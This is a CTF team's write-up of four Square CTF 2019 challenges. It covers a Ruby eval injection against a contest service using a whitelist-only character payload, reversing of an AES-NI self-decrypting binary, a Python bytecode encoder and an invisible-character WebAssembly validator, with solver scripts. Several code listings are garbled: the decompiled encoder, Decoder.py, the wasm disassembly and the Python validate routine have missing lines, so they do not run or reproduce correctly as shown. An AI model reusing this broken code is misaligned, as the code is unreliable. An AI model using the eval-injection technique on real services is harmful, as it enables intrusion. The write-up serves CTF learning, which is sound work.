Square CTF 2019 Writeup's

   [+] (one   - 100 pts) Talk to me
   [+] (two   - 700 pts) Aesni
   [+] (three - 150 pts) Decode me
   [+] (five  - 200 pts) Inwasmble
   [+] (seven - 600 pts) Lockbox
   [+] (nine  - 700 pts) Sudo make me a flag

Our Team Invaders ended up at 19th position
With points 3450 points

Talk to me

A service running at `talk-to-me-dd00922915bfc3f1.squarectf.com:5678`
$ nc talk-to-me-dd00922915bfc3f1.squarectf.com 5678
Sorry, I can't understand you.
Saying Hello! and asking for input(aaaaaaaaaaaa) Then returning a message
After some trails, Two errors meant a lot (for 1 and ')
$ nc talk-to-me-dd00922915bfc3f1.squarectf.com 5678
undefined method `match' for 1:Integer
/talk_to_me.rb:16:in `receive_data'
/var/lib/gems/2.5.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
/var/lib/gems/2.5.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
/talk_to_me.rb:31:in `
$ nc talk-to-me-dd00922915bfc3f1.squarectf.com 5678
(eval):1: unterminated string meets end of file
/talk_to_me.rb:16:in `eval'
/talk_to_me.rb:16:in `receive_data'
/var/lib/gems/2.5.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
/var/lib/gems/2.5.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
/talk_to_me.rb:31:in `
Our Input in passing into eval function with some method call (match) may be like eval("%s.match('xxxx')"%input)
But When passing a or any string it is not returing error , Just saying (Sorry, I can't understand you.) means our input is not passed into eval(blacklist check)
After brute forcing for chars we can use for input the result is 0123456789\"%'()*+,-./:;<=>{|}, then tried '1' a valid string with whitelist chars
$ nc talk-to-me-dd00922915bfc3f1.squarectf.com 5678
I wish you would greet me the way I greeted you.
I wish you would greet me the way I greeted you. means Hello!, matching our input with 'Hello!'; eval("%s.match('Hello!')")
Goal is to create a string using 0123456789"%'()*+,-./:;<=>{|};
A way is ('' << 97) which gives "a" ord('a') is 97
"Hello!" => ('' << 72)+('' << 101)+('' << 108)+('' << 108)+('' << 111)+('' << 33)
$ nc talk-to-me-dd00922915bfc3f1.squarectf.com 5678
('' << 72)+('' << 101)+('' << 108)+('' << 108)+('' << 111)+('' << 33)
It's so great to talk to you! Maybe you know what to do with this flag-2b8f1139b0726726?


Given a binary file names aesni
$ ./aesni
$ file aesni 
aesni: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
A stripped binary , there are no functions, just one assebmbly code at 0x804817c
pwndbg> disass 0x804817c,0x80481a0
Dump of assembler code from 0x804817c to 0x80481a0:
   0x0804817c: mov    edi,esi
   0x0804817e: mov    DWORD PTR ds:0x80481a1,ecx
   0x08048184: movups xmm0,XMMWORD PTR ds:0x80481a1
   0x0804818b: aesenc xmm0,xmm1
   0x08048190: movups xmm2,XMMWORD PTR [esi]
   0x08048193: pxor   xmm2,xmm0
   0x08048197: movups XMMWORD PTR [esi],xmm2
   0x0804819a: add    esi,0x10
   0x0804819d: loopne 0x804817e
   0x0804819f: jmp    edi
Functionality is simply , aes decrypting the text in esi using key in xmm1 and No of rounds to perform in ecx And jumping to that decrypted assembly code(need dynamic analysis)
The entry point is 0x8048060
 ► 0x8048060    movups xmm1, xmmword ptr [0x8048077]
   0x8048067    lea    esi, [0x80481f1]
   0x804806d    mov    ecx, 6
   0x8048072    jmp    0x804817c
Encrypted Assembly code is at 0x80481f1 , with key at 0x8048077 # "flap-d0d8411ec06" and rounds '6'; After Dectyption
pwndbg> disass 0x80481f1,0x8048230
Dump of assembler code from 0x80481f1 to 0x8048230:
=> 0x080481f1: pop    eax
   0x080481f2: cmp    eax,0x2
   0x080481f5: je     0x8048211
   0x080481f7: movups xmm1,XMMWORD PTR ds:0x8048231
   0x080481fe: lea    esi,ds:0x8048251
   0x08048204: mov    ecx,0x4
   0x08048209: add    eax,0x2
   0x0804820c: jmp    0x804817c
   0x08048211: movups xmm1,XMMWORD PTR ds:0x8048251
   0x08048218: mov    esi,eax
   0x0804821a: movups xmm1,XMMWORD PTR ds:0x8048241
   0x08048221: lea    esi,ds:0x8048291
   0x08048227: mov    ecx,0x3
   0x0804822c: jmp    0x804817c
If no of arguments are 2 then jumping to 0x8048291 , or else 0x8048251 (Which prints '-' symbol);
After Decryption of 0x8048241
   0x8048291    pop    eax
   0x8048292    inc    eax
   0x8048293    movups xmm2, xmmword ptr [0x80482c1]
   0x804829a    movups xmm1, xmmword ptr [0x80482b1]
   0x80482a1    lea    esi, [0x804809c]         # Then To 0x804809c
   0x80482a7    mov    ecx, 8
   0x80482ac    jmp    0x804817c
pwndbg> disass 0x804809c,0x80480ef
Dump of assembler code from 0x804809c to 0x80480ef:
=> 0x0804809c: lea    esi,ds:0x80480ef
   0x080480a2: mov    edi,esi
   0x080480a4: mov    ecx,0xd
   0x080480a9: cld    
   0x080480aa: lods   al,BYTE PTR ds:[esi]
   0x080480ab: xor    al,0x55
   0x080480ad: stos   BYTE PTR es:[edi],al
   0x080480ae: loop   0x80480aa
   0x080480b0: pop    edi
   0x080480b1: lea    esi,ds:0x80480ef
   0x080480b7: mov    ecx,0xd
   0x080480bc: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x080480be: jne    0x80480d7
   0x080480c0: movups xmm1,XMMWORD PTR ds:0x804810c
   0x080480c7: lea    esi,ds:0x804811c
   0x080480cd: mov    ecx,0x5
   0x080480d2: jmp    0x804817c
   0x080480d7: movups xmm1,XMMWORD PTR ds:0x80480fc
   0x080480de: lea    esi,ds:0x8048251
   0x080480e4: mov    ecx,0x4
   0x080480e9: jmp    0x804817c
   0x080480ee: ret
Simply XORing ds:0x80480ef with 0x55 and then comparig with 2nd argument;
If equal printing flag , or else 0x8048251 (Which prints '-' symbol)
pwndbg > x / 4 wx 0x80480ef
0x80480ef: 0x261c3d01 0x78063c78 0x103b1c33 0x63376355 
from pwn import *
A = [0x261c3d01, 0x78063c78, 0x103b1c33, 0x63376355]
l = ""
for i in A:
    l += p32(i)
M = ""
for i in l:
    M += chr(ord(i) ^ 0x55)
$ python xxx.py 
$ ./aesni ThIs-iS-fInE

Decode me

Given encoder.pyc and decodeme.png.enc files ; decodeme.png.enc is encoded with encoder.pyc,
we need to decode the decodeme.png.enc by reversing the algo implemented in encoder.pyc
Decompiled the encoder.pyc to python code using uncompyle6
$ uncompyle6 encoder.pyc 
# uncompyle6 version 3.4.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15+ (default, Jul  9 2019, 16:51:35) 
# [GCC 7.4.0]
# Embedded file name: ./encoder.py
# Compiled at: 2019-10-10 10:44:05
import base64, string, sys
from random import shuffle

def encode(f, inp):
    s = string.printable
    init = lambda : (list(s), [])
    bag, buf = init()
    for x in inp:
        if x not in s:
        while True:
            r = bag[0]
            diff = (ord(x) - ord(r) + len(s)) % len(s)
            if diff == 0 or len(bag) == 0:
                bag, buf = init()

        buf.extend(r * (diff - 1))


if __name__ == '__main__':
    with open(sys.argv[1], 'rb') as (r):
        w = open(sys.argv[1] + '.enc', 'wb')
        b64 = base64.b64encode(r.read())
        encode(w, b64)
# okay decompiling encoder.pyc
A simple Reverse on the code
$ cat Decoder.py 
from base64 import b64decode
import sys

PPP = list(map(ord,'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='))

def Sub_part(pp,S):
    real = ""
    for i in pp:
        ch = S.count(i)+1+ ord(i) 
        if ch in PPP:
            real += chr(ch)
        elif ch-100 in PPP:
            real += chr(ch-100)
        elif ch+100 in PPP:
            real += chr(ch+100)
            print("Error :: ",ch)
    return real

def Unique_len(S):
    i = 0
    while True:
        i += 1
        L = list(S[:i])
        if len(set(L)) == len(L): continue 
    return i-1

def decode(Str):
    List = Str.split('\x00')
    B64 = ""
    for i,part in enumerate(List):
        if part == '': continue
        Len = Unique_len(part)
        C = part[:Len]
        P = part[Len:]
        D = Sub_part(C,P)
        B64 += D
    return B64

if __name__ == '__main__':
    with open(sys.argv[1], 'rb') as (r):
        b64 = decode(r.read())
        name = sys.argv[1].split('.')[0] + '.png'
        open( name, 'wb').write(b64decode(b64))
        print "Done! Check",name
$ python Decoder.py decodeme.png.enc 
Done! Check decodeme.png



Given a website at https://2019.squarectf.com/static/files/7a32fbe18afbbd9f_inwasmble.html ;
<!DOCTYPE html>
<meta charset="utf-8">
html, body { height: 100%; } html { display: table; margin: auto; } body { display: table-cell; vertical-align: middle; } input[type=text] { width: 22rem; } * { font-size: x-large; margin: 2px; padding: 5px; height: 1em}
  <input id="x" type="text" onKeyUp="go()" autocomplete="off">
  <div id="r">&nbsp;</div>
<!-- Alok -->
onKeyUp="go()" ; There is no such function only one script
As specified in chall name , all are Invisible (Inwasmble) chars
script -> unescape -> escape -> '' <- br="">Everything is in that string only
>> a = '󠅶󠅡󠅲󠄠󠅣󠅯󠅤󠅥󠄠󠄽󠄠󠅮󠅥󠅷󠄠󠅕󠅩󠅮󠅴󠄸󠅁󠅲󠅲󠅡󠅹󠄨󠅛󠄊󠄠󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄶󠄱󠄬󠄠󠄰󠅸󠄷󠄳󠄬󠄠󠄰󠅸󠄶󠅤󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄵󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄶󠄰󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄷󠅦󠄬󠄠󠄰󠅸󠄰󠄳󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄵󠄬󠄠󠄰󠅸󠄰󠄳󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄷󠄬󠄠󠄰󠅸󠄱󠄵󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄰󠄶󠄬󠄠󠄰󠅸󠄶󠅤󠄬󠄠󠄰󠅸󠄶󠄵󠄬󠄠󠄰󠅸󠄶󠅤󠄬󠄠󠄰󠅸󠄶󠅦󠄬󠄠󠄰󠅸󠄷󠄲󠄬󠄠󠄰󠅸󠄷󠄹󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄸󠄬󠄠󠄰󠅸󠄷󠄶󠄬󠄠󠄰󠅸󠄶󠄱󠄬󠄠󠄰󠅸󠄶󠅣󠄬󠄠󠄰󠅸󠄶󠄹󠄬󠄠󠄰󠅸󠄶󠄴󠄬󠄠󠄰󠅸󠄶󠄱󠄬󠄠󠄰󠅸󠄷󠄴󠄬󠄠󠄰󠅸󠄶󠄵󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠅡󠄬󠄊󠄠󠄠󠄰󠅸󠄸󠄷󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄸󠄴󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄴󠄬󠄠󠄰󠅸󠄷󠅦󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄴󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄴󠄰󠄬󠄠󠄰󠅸󠄰󠄳󠄬󠄠󠄰󠅸󠄴󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄴󠄶󠄬󠄠󠄰󠅸󠄰󠅤󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄴󠄰󠄬󠄠󠄰󠅸󠄰󠄳󠄬󠄊󠄠󠄠󠄰󠅸󠄴󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄴󠄶󠄬󠄠󠄰󠅸󠄰󠅤󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄴󠄬󠄊󠄠󠄠󠄰󠅸󠄶󠅣󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄸󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠄸󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄶󠅣󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠅣󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄊󠄠󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄴󠄬󠄠󠄰󠅸󠄶󠅣󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄸󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄳󠄶󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠅤󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄊󠄠󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄸󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠅤󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄷󠄳󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄴󠄬󠄊󠄠󠄠󠄰󠅸󠄶󠅣󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄸󠄰󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠅤󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄷󠄬󠄠󠄰󠅸󠄰󠅤󠄬󠄠󠄰󠅸󠄰󠄲󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄲󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠅣󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠅦󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄲󠄷󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄴󠄱󠄬󠄠󠄰󠅸󠄸󠄰󠄬󠄠󠄰󠅸󠄰󠄱󠄬󠄊󠄠󠄠󠄰󠅸󠄰󠅢󠄬󠄠󠄰󠅸󠄲󠄰󠄬󠄠󠄰󠅸󠄴󠅡󠄬󠄠󠄰󠅸󠄶󠅡󠄬󠄠󠄰󠅸󠄵󠅢󠄬󠄠󠄰󠅸󠄶󠄰󠄬󠄠󠄰󠅸󠅡󠄰󠄬󠄠󠄰󠅸󠄶󠄴󠄬󠄠󠄰󠅸󠄹󠄲󠄬󠄠󠄰󠅸󠄷󠅤󠄬󠄠󠄰󠅸󠅣󠅦󠄬󠄠󠄰󠅸󠄴󠄲󠄬󠄊󠄠󠄠󠄰󠅸󠅥󠅢󠄬󠄠󠄰󠅸󠄴󠄶󠄬󠄠󠄰󠅸󠄰󠄰󠄬󠄠󠄰󠅸󠄱󠄷󠄬󠄠󠄰󠅸󠅦󠅤󠄬󠄠󠄰󠅸󠄵󠄰󠄬󠄠󠄰󠅸󠄳󠄱󠄬󠄠󠄰󠅸󠄶󠄷󠄬󠄠󠄰󠅸󠄱󠅦󠄬󠄠󠄰󠅸󠄲󠄷󠄬󠄠󠄰󠅸󠄷󠄶󠄬󠄠󠄰󠅸󠄷󠄷󠄬󠄊󠄠󠄠󠄰󠅸󠄴󠅥󠄬󠄠󠄰󠅸󠄳󠄱󠄬󠄠󠄰󠅸󠄹󠄴󠄬󠄠󠄰󠅸󠄰󠅥󠄬󠄠󠄰󠅸󠄶󠄷󠄬󠄠󠄰󠅸󠄰󠄳󠄬󠄠󠄰󠅸󠅤󠅡󠄬󠄠󠄰󠅸󠄱󠄹󠄬󠄠󠄰󠅸󠅢󠅣󠄬󠄠󠄰󠅸󠄵󠄱󠄊󠅝󠄩󠄻󠄊󠄊󠅶󠅡󠅲󠄠󠅷󠅡󠄠󠄽󠄠󠅮󠅥󠅷󠄠󠅗󠅥󠅢󠅁󠅳󠅳󠅥󠅭󠅢󠅬󠅹󠄮󠅉󠅮󠅳󠅴󠅡󠅮󠅣󠅥󠄨󠅮󠅥󠅷󠄠󠅗󠅥󠅢󠅁󠅳󠅳󠅥󠅭󠅢󠅬󠅹󠄮󠅍󠅯󠅤󠅵󠅬󠅥󠄨󠅣󠅯󠅤󠅥󠄩󠄩󠄻󠄊󠅶󠅡󠅲󠄠󠅢󠅵󠅦󠄠󠄽󠄠󠅮󠅥󠅷󠄠󠅕󠅩󠅮󠅴󠄸󠅁󠅲󠅲󠅡󠅹󠄨󠅷󠅡󠄮󠅥󠅸󠅰󠅯󠅲󠅴󠅳󠄮󠅭󠅥󠅭󠅯󠅲󠅹󠄮󠅢󠅵󠅦󠅦󠅥󠅲󠄩󠄻󠄊󠄊󠅡󠅳󠅹󠅮󠅣󠄠󠅦󠅵󠅮󠅣󠅴󠅩󠅯󠅮󠄠󠅧󠅯󠄨󠄩󠄠󠅻󠄊󠄠󠄠󠅳󠅩󠅺󠅥󠅳󠄠󠄽󠄠󠅛󠄮󠄮󠄮󠅛󠄮󠄮󠄮󠅁󠅲󠅲󠅡󠅹󠄨󠄴󠄩󠅝󠄮󠅫󠅥󠅹󠅳󠄨󠄩󠅝󠄮󠅭󠅡󠅰󠄨󠅸󠄽󠄾󠅸󠄪󠄱󠄲󠄸󠄩󠄻󠄊󠄠󠄠󠅢󠅵󠅦󠄮󠅳󠅥󠅴󠄨󠅸󠄮󠅶󠅡󠅬󠅵󠅥󠄮󠅳󠅵󠅢󠅳󠅴󠅲󠄨󠅳󠅩󠅺󠅥󠅳󠅛󠄰󠅝󠄬󠄠󠅳󠅩󠅺󠅥󠅳󠅛󠄱󠅝󠄩󠄮󠅰󠅡󠅤󠅅󠅮󠅤󠄨󠅳󠅩󠅺󠅥󠅳󠅛󠄱󠅝󠄩󠄮󠅳󠅰󠅬󠅩󠅴󠄨󠄧󠄧󠄩󠄮󠅭󠅡󠅰󠄨󠅸󠄽󠄾󠅸󠄮󠅣󠅨󠅡󠅲󠅃󠅯󠅤󠅥󠅁󠅴󠄨󠄧󠄧󠄩󠄩󠄩󠄻󠄊󠄠󠄠󠅩󠅦󠄠󠄨󠅷󠅡󠄮󠅥󠅸󠅰󠅯󠅲󠅴󠅳󠄮󠅶󠅡󠅬󠅩󠅤󠅡󠅴󠅥󠄨󠄩󠄩󠄠󠅻󠄊󠄠󠄠󠄠󠄠󠅨󠅡󠅳󠅨󠄠󠄽󠄠󠅡󠅷󠅡󠅩󠅴󠄠󠅷󠅩󠅮󠅤󠅯󠅷󠄮󠅣󠅲󠅹󠅰󠅴󠅯󠄮󠅳󠅵󠅢󠅴󠅬󠅥󠄮󠅤󠅩󠅧󠅥󠅳󠅴󠄨󠄢󠅓󠅈󠅁󠄭󠄱󠄢󠄬󠄠󠅢󠅵󠅦󠄮󠅳󠅬󠅩󠅣󠅥󠄨󠅳󠅩󠅺󠅥󠅳󠅛󠄲󠅝󠄬󠄠󠅳󠅩󠅺󠅥󠅳󠅛󠄳󠅝󠄩󠄩󠄻󠄊󠄠󠄠󠄠󠄠󠅲󠄮󠅩󠅮󠅮󠅥󠅲󠅔󠅥󠅸󠅴󠄠󠄽󠄠󠄢󠅜󠅵󠅄󠄸󠄳󠅄󠅜󠅵󠅄󠅅󠅁󠄹󠄠󠅦󠅬󠅡󠅧󠄭󠄢󠄠󠄫󠄠󠅛󠄮󠄮󠄮󠄠󠅮󠅥󠅷󠄠󠅕󠅩󠅮󠅴󠄸󠅁󠅲󠅲󠅡󠅹󠄨󠅨󠅡󠅳󠅨󠄩󠅝󠄮󠅭󠅡󠅰󠄨󠅸󠄠󠄽󠄾󠄠󠅸󠄮󠅴󠅯󠅓󠅴󠅲󠅩󠅮󠅧󠄨󠄱󠄶󠄩󠄩󠄮󠅪󠅯󠅩󠅮󠄨󠄧󠄧󠄩󠄻󠄊󠄠󠄠󠅽󠄠󠅥󠅬󠅳󠅥󠄠󠅻󠄊󠄠󠄠󠄠󠄠󠅲󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠅸󠄮󠅶󠅡󠅬󠅵󠅥󠄠󠄽󠄽󠄠󠄢󠄢󠄠󠄿󠄠󠄢󠄦󠅮󠅢󠅳󠅰󠄻󠄢󠄠󠄺󠄠󠄢󠅜󠅵󠄲󠄶󠅄󠄴󠄢󠄻󠄊󠄠󠄠󠅽󠄊󠅽';
>> a.length
>> unescape(escape(a).replace(/u.{8}/g,''))
"var code = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
  0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01,
  0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00,
  0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a,
  0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00,
  0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d,
  0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03,
  0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04,
  0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21,
  0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b,
  0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41,
  0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00,
  0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04,
  0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20,
  0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01,
  0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01,
  0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42,
  0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77,
  0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51

var wa = new WebAssembly.Instance(new WebAssembly.Module(code));
var buf = new Uint8Array(wa.exports.memory.buffer);

async function go() {
  sizes = [...[...Array(4)].keys()].map(x=>x*128);
  buf.set(x.value.substr(sizes[0], sizes[1]).padEnd(sizes[1]).split('').map(x=>x.charCodeAt('')));
  if (wa.exports.validate()) {
    hash = await window.crypto.subtle.digest(\"SHA-1\", buf.slice(sizes[2], sizes[3]));
    r.innerText = \"\\uD83D\\uDEA9 flag-\" + [... new Uint8Array(hash)].map(x => x.toString(16)).join('');
  } else {
    r.innerHTML = x.value == \"\" ? \" \" : \"\\u26D4\";
Implemented web Assembly; In which there is a fuction validate `wa.exports.validate()`, Which is validating our input!
Dissembled Web Assembly
  (type $type0 (func (result i32)))
  (memory (;0;) 1)
  (export "memory" (memory 0))
  (export "validate" (func $func0))
  (func $func0 (result i32)
    (local $var0 i32) (local $var1 i32) (local $var2 i32) (local $var3 i32)
    i32.const 0
    set_local $var0
    block $label3
      block $label0
        loop $label4
          get_local $var0
          i32.const 32
          br_if $label0
          i32.const 2
          set_local $var2
          i32.const 0
          set_local $var1
          block $label1
            loop $label2
              get_local $var0
              get_local $var1
              br_if $label1
              get_local $var1
              i32.const 4
              i32.const 256
              get_local $var2
              set_local $var2
              get_local $var1
              i32.const 1
              set_local $var1
              br $label2
            end $label2
          end $label1
          get_local $var0
          i32.const 4
          i32.const 256
          get_local $var2
          i32.const 1
          get_local $var0
          get_local $var0
          i32.const 128
          get_local $var0
          i32.const 4
          i32.const 256
          br_if $label3
          get_local $var0
          i32.const 1
          set_local $var0
          br $label4
        end $label4
      end $label0
      i32.const 1
    end $label3
    i32.const 0
  (data (i32.const 128)
By Analysing the functionality in Assembly ,
def validate(input):
    buf = []
    for var0 in range(32):
        var2 = 2
        for var1 in range(var0):
            var2 = var2*buf[var1]
        var2 = (var2 + 1) & 0xff
        if ord(data[var0])^var2 != ord(input[var0]):
            return 0
    return 1
Key is constant , So a Simply reverse >>
def validate(input):
    buf = []
    for var0 in range(32):
        var2 = 2
        for var1 in range(var0):
            var2 = var2*buf[var1]
        var2 = (var2 + 1) & 0xff
        if ord(data[var0])^var2 != ord(input[var0]):
            return 0
    return 1

def Reverse():
    buf = [] ; Str = ""
    for var0 in range(32):
        var2 = 2
        for var1 in range(var0):
            var2 = var2*buf[var1]
        var2 = (var2 + 1) & 0xff
        Str += chr( ord(data[var0])^var2 )
    return Str

